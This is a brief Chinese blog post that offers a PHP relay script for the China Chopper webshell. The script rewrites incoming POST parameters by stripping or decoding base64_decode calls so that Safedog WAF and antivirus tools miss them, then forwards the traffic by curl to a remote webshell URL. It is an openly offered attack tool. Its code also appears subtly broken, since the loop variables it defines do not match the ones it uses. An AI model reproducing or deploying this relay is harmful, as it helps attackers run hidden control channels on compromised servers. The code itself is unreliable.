php中转菜刀脚本过狗免杀

<?php
$target="url";//shell 地址  菜刀连这个脚本做中转
$post='';
$i=0;
foreach($_POST AS $K=>$V)
{
    if(strstr($v,"base64_decode"))
    {
        $v=str_replace("base64_decode(","",$v);
        $v=str_replace("))",")",$v);
    }
    else
    {
        if($k==="z0")
        {$v=base64_decode($v);}
    }
    $pp=$k."=".urlencode($v);
    if($i!=0)
    {
        $post=$post."&".$pp;
    }
    else
    {
        $post=$pp;
    }
    $i+=1;
}
$ch=curl_init();
$curl_url=$target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch,CURLOPT_URL,$curl_url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$RESULT= curl_exec($ch);//z
curl_close($ch);
//2019-6-16
?>

 

上一篇:python-谁是卧底小游戏


下一篇:彻底理解C++指针